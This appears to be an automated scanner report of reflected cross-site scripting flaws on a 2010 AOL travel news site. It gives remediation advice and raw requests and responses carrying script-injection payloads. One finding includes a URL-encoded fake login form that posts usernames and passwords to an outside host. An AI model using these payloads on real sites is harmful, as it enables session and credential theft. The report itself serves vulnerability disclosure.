1.16. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [name of an arbitrarily supplied request parameter]
1.17. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [ncid parameter]
1.18. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2 [name of an arbitrarily supplied request parameter]
1.19. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3 [name of an arbitrarily supplied request parameter]
1.20. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4 [name of an arbitrarily supplied request parameter]
1.21. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5 [name of an arbitrarily supplied request parameter]
1.22. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90 [name of an arbitrarily supplied request parameter]
1.23. http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/ [name of an arbitrarily supplied request parameter]
1.24. http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/ [name of an arbitrarily supplied request parameter]
1.25. http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/ [name of an arbitrarily supplied request parameter]
1.26. http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/ [name of an arbitrarily supplied request parameter]
1.27. http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/ [name of an arbitrarily supplied request parameter]
1.28. http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/ [name of an arbitrarily supplied request parameter]
1.29. http://news.travel.aol.com/bloggers/anne-johnson/ [REST URL parameter 2]
1.30. http://news.travel.aol.com/bloggers/fran-golden [REST URL parameter 2]
1.31. http://news.travel.aol.com/bloggers/fran-golden/ [REST URL parameter 2]
1.32. http://news.travel.aol.com/bloggers/gerard-walen/ [REST URL parameter 2]
1.33. http://news.travel.aol.com/bloggers/libby-zay/ [REST URL parameter 2]
1.34. http://news.travel.aol.com/bloggers/liz-behler [REST URL parameter 2]
1.35. http://news.travel.aol.com/bloggers/mclean-robbins/ [REST URL parameter 2]
1.36. http://news.travel.aol.com/category/air-travel/ [REST URL parameter 2]
1.37. http://news.travel.aol.com/category/beach/ [REST URL parameter 2]
1.38. http://news.travel.aol.com/category/best-of/ [REST URL parameter 2]
1.39. http://news.travel.aol.com/category/budget/ [REST URL parameter 2]
1.40. http://news.travel.aol.com/category/cruise/ [REST URL parameter 2]
1.41. http://news.travel.aol.com/category/disney/ [REST URL parameter 2]
1.42. http://news.travel.aol.com/category/family/ [REST URL parameter 2]
1.43. http://news.travel.aol.com/category/hotel/ [REST URL parameter 2]
1.44. http://news.travel.aol.com/category/news/ [REST URL parameter 2]
1.45. http://news.travel.aol.com/category/outdoor/ [REST URL parameter 2]
1.46. http://news.travel.aol.com/category/real-life-stories/ [REST URL parameter 2]
1.47. http://news.travel.aol.com/category/romantic/ [REST URL parameter 2]
1.48. http://news.travel.aol.com/category/tips-and-tricks/ [REST URL parameter 2]
1.49. http://news.travel.aol.com/category/video/ [REST URL parameter 2]
1.50. http://news.travel.aol.com/category/weird/ [REST URL parameter 2]
1. Cross-site scripting (reflected)
There are 50 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://news.travel.aol.com/2009/06/01/long-weekend-getaways-within-the-united-states/ [name of an arbitrarily supplied request parameter]
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2009/06/01/long-weekend-getaways-within-the-united-states/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2662b"><script>alert(1)</script>32640c1390e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/06/01/long-weekend-getaways-within-the-united-states/?2662b"><script>alert(1)</script>32640c1390e=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:56:44 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:56:43 GMT; path=/ Keep-Alive: timeout=5, max=999918 Connection: Keep-Alive Content-Type: text/html Content-Length: 86113
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2009/06/01/long-weekend-getaways-within-the-united-states/?2662b"><script>alert(1)</script>32640c1390e=1" /> ...[SNIP]...
|
1.2. http://news.travel.aol.com/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4661"><script>alert(1)</script>8beb626dbf1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/?d4661"><script>alert(1)</script>8beb626dbf1=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:34 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:33 GMT; path=/ Keep-Alive: timeout=5, max=999925 Connection: Keep-Alive Content-Type: text/html Content-Length: 88832
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/10/01/flight-attendants-do-safety-video-dancing-to-lady-gaga/?d4661"><script>alert(1)</script>8beb626dbf1=1" /> ...[SNIP]...
|
1.3. http://news.travel.aol.com/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7d6e"><script>alert(1)</script>e1801264771 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/?d7d6e"><script>alert(1)</script>e1801264771=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:28 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:27 GMT; path=/ Keep-Alive: timeout=5, max=999998 Connection: Keep-Alive Content-Type: text/html Content-Length: 96719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/10/04/elderly-new-york-couple-kicked-off-ship-after-fight/?d7d6e"><script>alert(1)</script>e1801264771=1" /> ...[SNIP]...
|
1.4. http://news.travel.aol.com/2010/10/15/how-safe-is-mexico/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/10/15/how-safe-is-mexico/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa826"><script>alert(1)</script>f52643b4cad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/10/15/how-safe-is-mexico/?aa826"><script>alert(1)</script>f52643b4cad=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:30 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/ Keep-Alive: timeout=5, max=999967 Connection: Keep-Alive Content-Type: text/html Content-Length: 112892
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/10/15/how-safe-is-mexico/?aa826"><script>alert(1)</script>f52643b4cad=1" /> ...[SNIP]...
|
1.5. http://news.travel.aol.com/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ff59"><script>alert(1)</script>e9f2bc2ff24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/?7ff59"><script>alert(1)</script>e9f2bc2ff24=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:34 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:33 GMT; path=/ Keep-Alive: timeout=5, max=999996 Connection: Keep-Alive Content-Type: text/html Content-Length: 90248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/10/21/plane-crash-that-killed-20-being-blamed-on-escaped-crocodile/?7ff59"><script>alert(1)</script>e9f2bc2ff24=1" /> ...[SNIP]...
|
1.6. http://news.travel.aol.com/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f80a"><script>alert(1)</script>e81c203d512 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/?4f80a"><script>alert(1)</script>e81c203d512=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:33 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/ Keep-Alive: timeout=5, max=999998 Connection: Keep-Alive Content-Type: text/html Content-Length: 96031
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/10/thousands-on-stranded-carnival-cruise-ship-eating-spam-provided/?4f80a"><script>alert(1)</script>e81c203d512=1" /> ...[SNIP]...
|
1.7. http://news.travel.aol.com/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/ [name of an arbitrarily supplied request parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/ |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7300"><script>alert(1)</script>05125c8499d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/?e7300"><script>alert(1)</script>05125c8499d=1 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:41 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:40 GMT; path=/ Keep-Alive: timeout=5, max=999886 Connection: Keep-Alive Content-Type: text/html Content-Length: 97618
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/11/carnival-splendor-passengers-describe-nightmare-cruise/?e7300"><script>alert(1)</script>05125c8499d=1" /> ...[SNIP]...
|
1.8. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee509"><script>alert(1)</script>9b311a5aa64 was submitted in the 34581 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581ee509"><script>alert(1)</script>9b311a5aa64 HTTP/1.1 Host: news.travel.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: comment_by_existing=deleted;
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:10 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:09 GMT; path=/ Keep-Alive: timeout=5, max=999949 Connection: Keep-Alive Content-Type: text/html Content-Length: 96754
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... <meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581ee509"><script>alert(1)</script>9b311a5aa64" /> ...[SNIP]...
|
1.9. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E request parameter is copied into the HTML document as plain text between tags. The payload d609a<script>alert(1)</script>7fda5379807 was submitted in the 34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1d609a<script>alert(1)</script>7fda5379807 HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:55:33 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:55:32 GMT; path=/ Content-Type: text/html Content-Length: 101722
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol. ...[SNIP]... 1%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1d609a<script>alert(1)</script>7fda5379807" /> ...[SNIP]...
|
1.10. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://news.travel.aol.com |
Path: |
/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ |
Issue detail
The value of the 34581"><script>alert(1)</script><div%20style request parameter is copied into the name of an HTML tag. The payload 540f1><script>alert(1)</script>e4e5fd8a94 was submitted in the 34581"><script>alert(1)</script><div%20style parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script><div%20style=540f1><script>alert(1)</script>e4e5fd8a94 HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: news.travel.aol.com
|
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 22:50:19 GMT Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:18 GMT; path=/ Content-Type: text/html Content-Length: 96913
